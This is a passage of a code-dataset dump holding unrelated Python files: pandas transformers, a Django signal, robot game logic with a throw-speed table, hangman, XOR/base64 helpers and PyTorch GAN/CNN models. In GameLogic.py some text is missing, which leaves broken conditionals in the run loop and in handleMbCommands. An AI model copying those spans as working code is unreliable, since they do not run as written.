inflection.underscore(self.__class__.__name__)\n\n @abstractmethod\n def transform(self, data):\n pass\n\n def series(self, data):\n if isinstance(self.column, Base):\n return self.column.transform(data)\n else:\n if isinstance(data, pandas.Series):\n return data\n else:\n return data[self.column]\n\n @property\n def source_column(self):\n column = self.column\n while isinstance(column, Base):\n column = column.column\n return column\n\n\nclass Map(Base):\n def transform(self, data):\n return self.series(data).map(self.__class__.MAP)\n\n\nclass DateTime(Base):\n \"\"\"\n For available operators see:\n https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DatetimeIndex.html#pandas.DatetimeIndex\n \"\"\"\n \n def __init__(self, column, operator):\n super(DateTime, self).__init__(column)\n self.operator = operator\n self.name += '_' + self.operator\n\n def transform(self, data):\n return getattr(self.series(data).dt, self.operator)\n\n\nclass Age(Base):\n def __init__(self, column, unit='seconds'):\n super(Age, self).__init__(column)\n self.unit = unit\n\n def transform(self, data):\n age = (datetime.datetime.now() - self.series(data))\n if self.unit in ['nanosecond', 'nanoseconds']:\n return age\n \n seconds = age.dt.total_seconds()\n if self.unit in ['second', 'seconds']:\n return seconds\n if self.unit in ['minute', 'minutes']:\n return seconds / 60\n if self.unit in ['hour', 'hours']:\n return seconds / 3600\n if self.unit in ['day', 'days']:\n return seconds / 86400\n if self.unit in ['week', 'weeks']:\n return seconds / 604800\n if self.unit in ['month', 'months']:\n return seconds / 2592000\n if self.unit in ['year', 'years']:\n return seconds / 31536000\n\n raise NameError('Unknown unit: %s' % self.unit)\n \n \nclass String(Base):\n def __init__(self, column, operator, *args, **kwargs):\n super(String, self).__init__(column)\n self.operator = operator\n self.args = args\n self.kwargs = kwargs\n self.name += '_' + self.operator\n\n def transform(self, data):\n series = self.series(data).astype(object)\n return getattr(series.str, self.operator)(*self.args, **self.kwargs)\n\n\nclass Extract(String):\n def __init__(self, column, regex):\n super(Extract, self).__init__(column, 'extract', pat=regex, expand=False)\n\n\nclass Length(String):\n def __init__(self, column):\n super(Length, self).__init__(column, 'len')\n\n\nclass Log(Base):\n def transform(self, data):\n return numpy.log(self.series(data))\n\n\nclass LogPlusOne(Base):\n def transform(self, data):\n return numpy.log1p(numpy.maximum(self.series(data), 0))\n\n\nclass AreaCode(Base):\n \"\"\"Transforms various phone number formats into area codes (strings)\n \n e.g. '12345678901' => '234'\n '+1 (234) 567-8901' => '234'\n '1234567' => ''\n float.nan => None\n \"\"\"\n\n COUNTRY_DIGITS = re.compile(r'^\\+?1(\\d{10})$', re.UNICODE)\n PUNCTUATED = re.compile(r'(?:1[.\\-]?)?\\s?\\(?(\\d{3})\\)?\\s?[.\\-]?[\\d]{3}[.\\-]?[\\d]{4}', re.UNICODE)\n\n def transform(self, data):\n series = self.series(data).astype(object)\n countries = series.str.extract(AreaCode.COUNTRY_DIGITS, expand=False)\n countries = countries.str[0:3]\n punctuated = series.str.extract(AreaCode.PUNCTUATED, expand=False)\n areacodes = countries\n areacodes[areacodes.isnull()] = punctuated\n areacodes[areacodes.isnull()] = ''\n areacodes[series.isnull()] = None\n return areacodes\n\n\nclass EmailDomain(Base):\n \"\"\"Transforms email addresses into their full domain name\n \n e.g. 'bob@bob.com' => 'bob.com'\n \"\"\"\n NAIVE = re.compile(r'^[^@]+@(.+)$', re.UNICODE)\n\n def transform(self, data):\n domains = self.series(data).str.extract(EmailDomain.NAIVE, expand=False)\n domains[domains.isnull()] = ''\n return domains\n\n\nclass NameAge(Map):\n MAP = {}\n\n with open(os.path.join(os.path.dirname(__file__), 'data', 'names.csv'), 'r') as file:\n reader = csv.reader(file)\n for line in reader:\n MAP[line[0]] = float(line[2])\n\n def transform(self, data):\n return self.series(data).str.lower().map(self.__class__.MAP)\n\n\nclass NamePopulation(NameAge):\n MAP = {}\n \n with open(os.path.join(os.path.dirname(__file__), 'data', 'names.csv'), 'r') as file:\n reader = csv.reader(file)\n for line in reader:\n MAP[line[0]] = float(line[3])\n\n\nclass NameSex(NameAge):\n MAP = {}\n \n with open(os.path.join(os.path.dirname(__file__), 'data', 'names.csv'), 'r') as file:\n reader = csv.reader(file)\n for line in reader:\n MAP[line[0]] = float(line[1])\n\n\nclass NameFamilial(Base):\n NAIVE = re.compile(r'\\b(mom|dad|mother|father|mama|papa|bro|brother|sis|sister)\\b', re.UNICODE | re.IGNORECASE)\n \n def transform(self, data):\n return ~self.series(data).str.extract(NameFamilial.NAIVE, expand=False).isnull()\n","sub_path":"lore/transformers.py","file_name":"transformers.py","file_ext":"py","file_size_in_byte":5713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"34232380","text":"import django.dispatch\n\n\nbind_extra_request_metadata = django.dispatch.Signal(\n providing_args=[\"request\", \"logger\"]\n)\n\"\"\" Signal to add extra ``structlog`` bindings from ``django``'s request.\n\n>>> from django.dispatch import receiver\n>>> from django_structlog import signals\n>>>\n>>> @receiver(signals.bind_extra_request_metadata)\n... def bind_user_email(request, logger, **kwargs):\n... logger.bind(user_email=getattr(request.user, 'email', ''))\n\n\"\"\"\n","sub_path":"django_structlog/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"33691300","text":"from wheelMovementLogic import WheelMovementLogic\nfrom refHandler import RefHandler\nimport math\nimport time\nclass GameLogic:\n\n def __init__(self, imgHandler, mainComm):\n\n self.imgHandler = imgHandler\n self.wheelLogic = WheelMovementLogic.WheelMovementLogic()\n self.mainComm = mainComm\n self.ballFound = False\n self.ballReached = False\n self.basketCentered = False\n self.ballCentred = False\n self.ballSideWays = False\n self.ballDistanced = False\n self.BOB = 0\n self.BOB2 = 0\n self.ballDistance = 0\n self.gameState = True\n self.refHandler = RefHandler.RefHandler('C', 'C',mainComm)\n self.screenMidPointX = 320 ##screenX/2\n self.screenMidPointY = 229 ##screenY/2\n\n self.rotationsDone = 0\n\n self.basketX = 0\n self.basketY = 0\n self.ballX = 0\n self.ballY = 0\n self.countt = 0\n self.kaugused = {\n ###kaugus: ###kiirus\n 0.5059:145, ## töötab\n 0.52835: 145, ## töötab\n 0.65874:145,\n 0.66035: 146,\n 0.68074:146,\n 0.68165:147,\n 0.6977:147,\n 0.71710: 147,\n 0.7186:147,\n 0.751:147,\n 0.75265:148, ## töötab\n 0.78285:148,\n 0.7967:149,\n 0.8392:149, ## töötab\n 0.8439:149,\n 0.8618:150, ## töötab\n 0.86795: 150,\n 0.8702:150, ## töötab\n 0.8752:150,\n 0.88275: 150,\n 0.88505: 150, ## töötab\n 0.88615:150,\n 0.8863:150,\n 0.8924:151,\n 0.9227:151,\n 0.9317:151, ## töötab\n 0.9387:152,\n 0.9703:152,\n 1.01435:152,\n 1.0246:152, ## töötab\n 1.04305:152,\n 1.06484:152,\n 1.0713:153,\n 1.07945:153, ## töötab\n 1.08:154,\n 1.11965:154, ## töötab\n 1.17175:154, ## Töötab\n 1.19719:154,\n 1.20135:154, ## töötab\n 1.20965:155,\n 1.22715:155, ## töötab\n 1.2275:155,\n 1.23125:155, ## töötab\n 1.26545:155, ## töötab\n 1.26805:156,\n 1.30755:156,\n 1.3305:156, ## töötab\n 1.34665:156,\n 1.3553:156,\n 1.36025:156, ## töötab\n 1.36815:156,\n 1.3708:157, ## töötab\n 1.37835:157,\n 1.38145:157, ## töötab\n 1.38185:157, ## töötab\n 1.3823:157,\n 1.40085:157,\n 1.4047:157,\n 1.40494:157,\n 1.4061:157, ## töötab\n 1.42325:157,\n 1.4235:158,\n 1.44035:158, ## töötab\n 1.443:158, ## töötab\n 1.44955:158,\n 1.4547:158, ## töötab\n 1.4994:158,\n 1.49035:159, ## töötab\n 1.52375:159,\n 1.53105:159,##töötab\n 1.56035:159, ## töötab\n 1.5652:159,\n 1.56695:159, ## töötab\n 1.58195:160,\n 1.6179:160,\n 1.64115:160, ## töötab\n 1.67515:160,\n 1.68015:160, ## töötab\n 1.71955:160,\n 1.72915:161, ## töötab\n 1.73215:161,\n 1.7351:161, #töötab\n 1.8141:161, ## töötab\n 1.8184:161, ## töötab\n 1.83145:161,## töötab\n 1.84425:161, ## töötab\n 1.8774:162,\n 1.90965:162,\n 1.92405:163,\n 1.9536:164,\n 2.05755:164,\n 2.1055:164,\n 2.12375:164, ## töötab\n 2.1297:165,\n 2.16765:165,\n 2.29265:166, ## töötab\n 2.2968:166,\n 2.30665:166, ## töötab\n 2.31655:166,\n 2.32205:167,\n 2.3522:167, ## töötab\n 2.3523:167, ## töötab\n 2.3583:167,\n 2.36505:167, ## töötab\n 2.37525:167,\n 2.3974:167,\n 2.43155:167,\n 2.46395:167, ## töötab\n 2.47575:168,\n 2.52345:168, ## töötab\n 2.5298:168,\n 2.54115:169, ## töötab\n 2.5513:169, ## töötab\n 2.568988:169,\n 2.5754:169, ## töötab\n 2.59505:169, ## töötab\n 2.65405:169,\n 2.65475:169, ## töötab\n 2.6687:169,\n 2.6977:170,\n 2.7123:171,\n 2.74865:172, ## töötab\n 2.7624:172,\n 2.8025:172,##töötab\n 2.8151:172,\n 2.8207:172,\n 2.8534:173,\n 2.8684:174,\n 3.0447:174,\n 3.0864:174,\n 3.11415:175,\n 3.22085:175,\n 3.25145:175, ## töötab\n 3.29015:178, ## töötab\n 3.30775:178, ## töötab\n 3.3351:178,\n 3.3493:181,\n 3.4432:182,\n 3.5946:183,## töötab\n 3.66665:183,\n 3.82695:184,\n 3.83605:184,\n 3.86745:184, ## töötab\n 3.89205:184,\n 3.92335:184, ## töötab\n 3.96405:185,\n 3.9832:185,\n 4.04305:186, ## töötab\n 4.0443:186,\n 4.04895:187,\n 4.05395:187, ## töötab\n 4.0665:188,\n 4.11135:189,\n 4.1234:189,\n 4.12375:189, ## töötab\n 4.14:190,\n 4.14645:192,\n 4.1532:194,\n 4.25175:194,\n 4.26385:195,\n 4.278:196,\n 4.31475:196,\n 4.3265:196, ## töötab\n 4.32675:196, ## töötab\n 4.3518:198,\n 4.42505:198,\n 4.3589:198, ## töötab\n 4.45995:200,\n 4.4823:206,\n 4.49455:207,\n 4.51355:208,\n 4.52085:209,\n 4.5228:209, ## töötab\n 4.53175:211,\n 4.5355:212, ## töötab\n 4.5455:213,\n 4.56765:214, ## töötab\n 4.5683:214,\n 4.57415:215,\n 4.618:215,\n 4.63355:215,\n 4.66335:217,\n 4.66655:218,\n 4.6735:219,\n 4.7085:219,\n 4.70914:219,\n 4.7116:220,\n 4.7313:221,\n 4.7522:221, ## töötab\n 4.8036:224,\n 4.84225:244,\n 4.8505:246,\n 4.8554:246,\n 4.8639:246,\n 4.87105:247,\n 4.8787:249,\n 4.88135:250,\n 4.9252:250,\n 4.998:250,\n 5.022:250,\n 5.0983:250,\n 5.12575:250, ## töötab\n 5.1757:250,\n }\n def run(self):\n time.sleep(2)\n reftime = time.time()\n while 1:\n if self.gameState:\n if self.BOB > 1600:\n self.BOB = 0\n if not self.ballFound:\n self.rotateToFindBall()\n if self.ballFound and not self.ballReached:\n self.driveToBall()\n if self.ballReached and not self.ballCentred:\n self.centreTheBall()\n if self.ballCentred and not self.basketCentered:\n self.centreTheBasket()\n if self.basketCentered and not self.ballDistanced:\n self.adjustDistance()\n if self.ballDistanced:\n self.throwTheball()\n \"\"\"if time.time() - reftime > 0.1:\n msg = self.mainComm.readBytes()\n if len(msg) > 0:\n if msg != None:\n command = msg[0]\n print(msg)\n if command == \"= 1500:\n self.ballFound = False\n self.ballReached = False\n self.ballCentred = False\n self.BOB = 0\n else:\n self.BOB = 0\n elif 0.3 < self.ballDistance <= 3:\n self.ballDistance = self.imgHandler.getBallDistance()\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90,0,0.015))\n self.mainComm.waitForAnswer()\n self.BOB += 1\n if self.BOB >= 1500:\n self.ballFound = False\n self.ballReached = False\n self.ballCentred = False\n self.BOB = 0\n\n def rotateToFindBall(self):\n self.ballY = self.imgHandler.get_ballY()\n if self.ballY != -1:\n print(\"ball found\")\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n self.ballFound = True\n starttime = time.time()\n while time.time() - starttime < 0.25:\n pass\n return\n else:\n self.mainComm.sendBytes(self.wheelLogic.rotateRight(0.45))\n self.mainComm.waitForAnswer()\n if self.BOB == 200:\n self.basketY = self.imgHandler.get_basketY()\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n starttime = time.time()\n while time.time() - starttime < 0.10:\n pass\n self.BOB = 0\n self.rotationsDone += 1\n\n if self.rotationsDone > 7 and self.basketY != -1:\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n while time.time() - starttime < 1:\n pass\n for i in range(300):\n self.driveTowardsOwnBasket()\n self.rotationsDone = 0\n self.BOB += 1\n\n\n\n def centreTheBall(self):\n self.ballY = self.imgHandler.get_ballY()\n self.basketY = self.imgHandler.get_basketY()\n if self.screenMidPointY -5 <= self.ballY <= self.screenMidPointY + 5:\n print(\"ball centred\")\n #self.mainComm.setMotorSpeeds(self.wheelLogic.motorsOff())\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n self.ballCentred = True\n return\n speed = 0.14\n if self.basketY != -1:\n if 210 <= self.basketY <= 250:\n speed = 0.04\n elif 170 <= self.basketY <= 290:\n speed = 0.09\n elif 50 <= self.basketY <= 430:\n speed = 0.12\n if self.screenMidPointY+5 <= self.ballY <= 480:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.rotateLeft(speed))\n self.mainComm.sendBytes(self.wheelLogic.rotateLeft(speed))\n self.mainComm.waitForAnswer()\n elif self.screenMidPointY-5 >= self.ballY >= 0:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.rotateRight(speed))\n self.mainComm.sendBytes(self.wheelLogic.rotateRight(speed))\n self.mainComm.waitForAnswer()\n else:\n self.BOB += 1\n if self.BOB == 500:\n self.ballFound = False\n self.ballReached = False\n self.BOB = 0\n def calculateAngleToBasket(self,n):\n self.basketY = self.imgHandler.get_basketY()\n self.basketX = self.imgHandler.get_basketY()\n a = abs(self.basketY - self.screenMidPointY+n)\n c = 640 - self.basketX\n angle = math.degrees(math.atan(a / c))\n return angle\n def driveTowardsOwnBasket(self):\n angle = self.calculateAngleToBasket(0)\n if self.basketY <= self.screenMidPointY:\n # self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(90 + angle,0,0.07))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 + angle, 0, 0.18))\n self.mainComm.waitForAnswer()\n elif self.basketY >= self.screenMidPointY:\n # self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(90 - angle,0,0.07))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 - angle, 0, 0.18))\n self.mainComm.waitForAnswer()\n\n def driveToBall(self):\n #self.readMb()\n angle = self.calculateAngleToBall()\n if self.ballX >= 320:\n self.BOB = 0\n print(\"jõudsin pallini\")\n #self.mainComm.setMotorSpeeds(self.wheelLogic.motorsOff())\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n self.ballReached = True\n if self.BOB == 0:\n time.sleep(0.1)\n\n return\n self.ballY = self.imgHandler.get_ballY()\n speed = 0.24\n self.ballX = self.imgHandler.get_ballX()\n if self.BOB < 10:\n speed = 0.12\n if self.ballX >= 260:\n speed = 0.12\n if self.ballY != -1:\n if self.BOB > 500:\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n self.ballFound = False\n self.BOB = 0\n return\n else:\n self.BOB = 0\n if self.ballY<= self.screenMidPointY:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(90 + angle,0,0.07))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 + angle,0,speed))\n self.mainComm.waitForAnswer()\n elif self.ballY >= self.screenMidPointY:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(90 - angle,0,0.07))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 - angle,0,speed))\n self.mainComm.waitForAnswer()\n self.BOB += 1\n\n\n def calculateAngleToBall(self):\n self.ballY = self.imgHandler.get_ballY()\n self.ballX = self.imgHandler.get_ballX()\n a = abs(self.ballY - self.screenMidPointY)\n c = 640 - self.ballX\n angle = math.degrees(math.atan(a / c))\n return angle\n\n def centreTheBasket(self):\n self.basketY = self.imgHandler.get_basketY()\n self.basketX = self.imgHandler.get_basketY()\n self.ballY = self.imgHandler.get_ballY()\n omega = self.wheelLogic.calculateOmega(0.068)\n if self.screenMidPointY+20 <= self.basketY <= self.screenMidPointY + 30:\n self.mainComm.sendBytes(self.wheelLogic.motorsOff())\n self.mainComm.waitForAnswer()\n if self.BOB2 > 30:\n if self.basketY != -1:\n self.basketCentered = True\n self.BOB2 = 0\n else:\n self.ballCentred = False\n self.BOB2 +=1\n return\n speed = 0.07\n self.basketY = self.imgHandler.get_basketY()\n if self.basketY != -1:\n if 180 <= self.basketY <= 260:\n speed = 0.015\n elif 120 <= self.basketY <= 320:\n speed = 0.020\n elif 80 <= self.basketY <= 430:\n speed = 0.045\n if 0 <= self.basketY < self.screenMidPointY+20:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(0,omega,0.03))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(0, omega, speed))\n elif self.screenMidPointY +30 <= self.basketY <= 480:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(0,omega,0.03))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(180, -omega, speed))\n else:\n #self.mainComm.setMotorSpeeds(self.wheelLogic.setSpeed(0,omega,0.03))\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(0, omega, 0.09))\n self.mainComm.waitForAnswer()\n if self.BOB == 250:\n self.ballReached = False\n self.ballCentred = False\n self.BOB = 0\n self.BOB += 1\n\n def throwTheball(self):\n timenow = time.time()\n while time.time() - timenow <= 0.2:\n pass\n print(\"viskan palli\")\n basketDistance = 0\n for i in range(500):\n basketDistance+=self.imgHandler.getBasketDistance()\n basketDistance = basketDistance / 500\n throwerSpeed = self.kaugused.get(basketDistance, self.kaugused[min(self.kaugused.keys(), key=lambda k: abs(k - basketDistance))])\n print(throwerSpeed)\n print(basketDistance)\n starttime = time.time()\n while time.time() - starttime <= 2.5:\n angle = self.calculateAngleToBasket(30)\n self.mainComm.sendBytes('d:'+str(int(throwerSpeed)))\n if self.basketY <= self.screenMidPointY+40:\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 + angle, 0, 0.03))\n self.mainComm.waitForAnswer()\n elif self.basketY >= self.screenMidPointY+25:\n self.mainComm.sendBytes(self.wheelLogic.setSpeed(90 - angle, 0, 0.03))\n self.mainComm.waitForAnswer()\n\n self.ballReached = False\n self.basketCentered = False\n self.ballCentred = False\n self.ballFound = False\n self.ballDistanced = False\n #self.mainComm.setThrowerSpeed('d:125')\n self.mainComm.sendBytes('d:125')\n\n def handleMbCommands(self, msg):\n if msg != None:\n command = msg[0]\n print(msg)\n if command == \" 0:\n self.handleMbCommands(mbMsg)\n\n\n\n\n\n\n\n\n\n","sub_path":"gameLogic/GameLogic.py","file_name":"GameLogic.py","file_ext":"py","file_size_in_byte":19768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"560247147","text":"import random as rd\r\nwords = ['awkward','banjo','bagpipes','bungler','croquet','dwarves','fishhook','gazebo'\r\n ,'haiku','jiffy','unzip','zombie','wildebeest','twelfth','memento']\r\nword = rd.choice(words)\r\nturn = 12\r\nguesses = ''\r\nwhile turn>0:\r\n counter = len(word)\r\n for char in word:\r\n if char in guesses:\r\n print(char)\r\n counter -=1\r\n if counter == 0:\r\n print(\"You win\")\r\n exit()\r\n else:\r\n print(\"_\")\r\n guess = input(\"Enter a character\")\r\n guesses +=guess\r\n if guess not in word:\r\n print(\"Galat\")\r\n turn = turn-1\r\n if turn == 0:\r\n print(\"You Loose\")\r\n","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"331477793","text":"import cs50\n\n# asks for the input until a valid one:\nwhile True:\n n = cs50.get_int(\"Height: \")\n # condition to exit the while loop\n if not (n < 1 or n > 8):\n break\n# print the hashes\nfor i in range(0, n, 1):\n print(\" \" * (n - 1 - i) + \"#\" * (i + 1))","sub_path":"pset6/mario/mario.py","file_name":"mario.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"269228821","text":"import torch\nimport torch.nn as nn\nfrom generator import Encoder\n\nclass Discriminator(nn.Module):\n \"\"\"\n Discriminator for SketchyGAN, which is mostly based on the encoder block\n \"\"\"\n def __init__(self, num_classes, init_in_channels, init_out_channels=64, init_image_size=64, \n image_pool=nn.AvgPool2d(2, stride=2), **kwargs):\n super(Discriminator, self).__init__()\n # Use image_channels default value of 3\n self.encoder = Encoder(num_classes, init_in_channels, init_out_channels=init_out_channels, \n init_image_size=init_image_size, image_pool=image_pool, **kwargs)\n self.linear_size = int(init_out_channels * 8 * (init_image_size / 8) ** 2)\n self.fc_dis = nn.Linear(self.linear_size, 1)\n self.fc_aux = nn.Linear(self.linear_size, num_classes)\n \n def forward(self, image):\n out = self.encoder((image, image))[-1]\n out = out.view(-1, self.linear_size)\n dis_out = self.fc_dis(out)\n aux_out = self.fc_aux(out)\n return dis_out, aux_out","sub_path":"final/discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"606142748","text":"class ebook():\n def __init__(self, tytul, autor, stron, nr_strony):\n self.opened = False\n self.tytul = tytul\n self.autor = autor\n self.stron = stron\n self.nr_strony = nr_strony\n \n def open(self):\n self.opened = True\n \n def close(self):\n self.opened = False\n \n def summary(self):\n print(f\"This book have {self.stron} pages\")\n \n def read(self, pages):\n if self.opened:\n self.nr_strony += pages\n else:\n print(f'This book is closed')\n \n def status(self):\n if self.opened:\n #print(f'This book is opened')\n print(f'Autor : {self.autor}')\n print(f'Tytuł : {self.tytul}')\n print(f'Liczba stron : {self.stron}')\n print(f'Numer bieżącej strony: {self.nr_strony}')\n else:\n print(f'This book is closed')\n\nbook = ebook(\"1984\",\"George Orwell\", 328, 1)\nbook.status()\nbook.open()\nbook.status()\nbook.read(50)\nbook.status()\nbook.close()\nbook.read(50)","sub_path":"06-ClassesAndObjects/duringclass/16.py","file_name":"16.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"16213317","text":"import array\r\nimport string\r\nfrom itertools import izip, cycle\r\n\r\ndef b64_to_hex(string):\r\n pad = len(string) % 4\r\n if string[-1] == '=':\r\n pad = (pad + 1) % 4\r\n if pad == 3: \r\n string += 'A=='\r\n elif pad == 1 or pad == 2:\r\n string += b'=' * pad\r\n return string.decode('base64').encode('hex')\r\n \r\ndef pad_hex(string):\r\n if len(string) % 2 == 1:\r\n string += '0'\r\n return string\r\n \r\n \r\ndef hexto64(s):\r\n s = s.decode('hex').encode(\"base64\")\r\n return s\r\n \r\ndef repeated_xor(key, ciphertext):\r\n return xor(key.encode('hex'),ciphertext)\r\n\r\n \r\ndef xor(p,q):\r\n #input must be in hex\r\n p = p.decode('hex')\r\n q = q.decode('hex')\r\n if len(q) > len(p):\r\n p,q = q,p\r\n return ''.join(chr(ord(a)^ord(b))for a,b in izip(p, cycle(q))).encode('hex')\r\n","sub_path":"char_operations.py","file_name":"char_operations.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"369489658","text":"# class TreeNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\n\nclass Solution:\n def postOrder(self, node, results):\n if node.left != None:\n self.postOrder(node.left, results)\n if node.right != None:\n self.postOrder(node.right, results)\n\n results.append(node.val)\n\n # @param root, a tree node\n # @return a list of integers\n def postorderTraversal(self, root):\n results = []\n if root != None:\n self.postOrder(root, results)\n return results\n\n","sub_path":"leetcode/binary-tree-postorder-traversal.py","file_name":"binary-tree-postorder-traversal.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"183605394","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.models import resnet18\n\n\nclass ResidualBlock(nn.Module):\n def __init__(self, inchannel, outchannel, stride=1):\n super(ResidualBlock, self).__init__()\n self.left = nn.Sequential(\n nn.Conv2d(inchannel, outchannel, kernel_size=3, stride=stride, padding=1, bias=False),\n nn.BatchNorm2d(outchannel),\n nn.ReLU(inplace=True),\n nn.Conv2d(outchannel, outchannel, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(outchannel)\n )\n self.shortcut = nn.Sequential()\n if stride != 1 or inchannel != outchannel:\n self.shortcut = nn.Sequential(\n nn.Conv2d(inchannel, outchannel, kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(outchannel)\n )\n\n def forward(self, x):\n out = self.left(x)\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\n\nclass SimpleCNN(nn.Module):\n def __init__(self):\n super(SimpleCNN, self).__init__()\n\n self.layer1 = nn.Sequential(\n nn.Conv2d(3, 16, kernel_size=5),\n nn.BatchNorm2d(16),\n nn.ReLU(inplace=True)\n )\n\n self.layer2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=5),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer3 = nn.Sequential(\n nn.Conv2d(32, 64, kernel_size=5),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True)\n )\n\n self.layer4 = nn.Sequential(\n nn.Conv2d(64, 128, kernel_size=5),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer5 = nn.Sequential(\n nn.Conv2d(128, 64, kernel_size=5),\n nn.BatchNorm2d(64),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer6 = nn.Sequential(\n nn.Conv2d(64, 32, kernel_size=5),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer7 = nn.Sequential(\n nn.Conv2d(32, 16, kernel_size=5),\n nn.BatchNorm2d(16),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.fc = nn.Sequential(\n nn.Linear(1936, 1024),\n nn.ReLU(inplace=True),\n nn.Linear(1024, 128),\n nn.ReLU(inplace=True),\n nn.Linear(128, 4)\n )\n\n def forward(self, x):\n # print(x.size())\n x = self.layer1(x)\n x = self.layer2(x)\n x = self.layer3(x)\n x = self.layer4(x)\n x = self.layer5(x)\n x = self.layer6(x)\n x = self.layer7(x)\n x = x.view(x.size(0), -1)\n # print(x.size())\n x = self.fc(x)\n return x\n\n\nclass ResNet(nn.Module):\n def __init__(self, ResidualBlock, num_classes=4):\n super(ResNet, self).__init__()\n self.inchannel = 32\n self.conv1 = nn.Sequential(\n nn.Conv2d(3, 32, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n )\n self.layer1 = self.make_layer(ResidualBlock, 32, 3, stride=1)\n self.layer2 = self.make_layer(ResidualBlock, 64, 3, stride=2)\n self.layer3 = self.make_layer(ResidualBlock, 128, 3, stride=2)\n self.layer4 = self.make_layer(ResidualBlock, 256, 3, stride=2)\n self.layer5 = self.make_layer(ResidualBlock, 512, 3, stride=2)\n self.layer6 = nn.Sequential(\n nn.Conv2d(512, 256, kernel_size=3),\n nn.BatchNorm2d(256),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n self.layer7 = nn.Sequential(\n nn.Conv2d(256, 128, kernel_size=3),\n nn.BatchNorm2d(128),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n self.fc = nn.Sequential(\n nn.Linear(512, 128),\n nn.ReLU(inplace=True),\n nn.Linear(128, 32),\n nn.ReLU(inplace=True),\n nn.Linear(32, num_classes),\n )\n\n def make_layer(self, block, channels, num_blocks, stride):\n strides = [stride] + [1] * (num_blocks - 1)\n layers = []\n for stride in strides:\n layers.append(block(self.inchannel, channels, stride))\n self.inchannel = channels\n return nn.Sequential(*layers)\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.layer1(out)\n out = F.avg_pool2d(out, 2)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n out = self.layer5(out)\n out = self.layer6(out)\n out = self.layer7(out)\n out = out.view(out.size(0), -1)\n out = self.fc(out)\n return out\n\n\ndef ResNet18():\n\n return ResNet(ResidualBlock)\n\n\nclass SimpleCNN2(nn.Module):\n def __init__(self):\n super(SimpleCNN2, self).__init__()\n\n self.layer1 = nn.Sequential(\n nn.Conv2d(3, 16, kernel_size=3),\n nn.BatchNorm2d(16),\n nn.ReLU(inplace=True)\n )\n\n self.layer2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=3),\n nn.BatchNorm2d(32),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2)\n )\n\n self.layer3 = nn.Sequential(\n 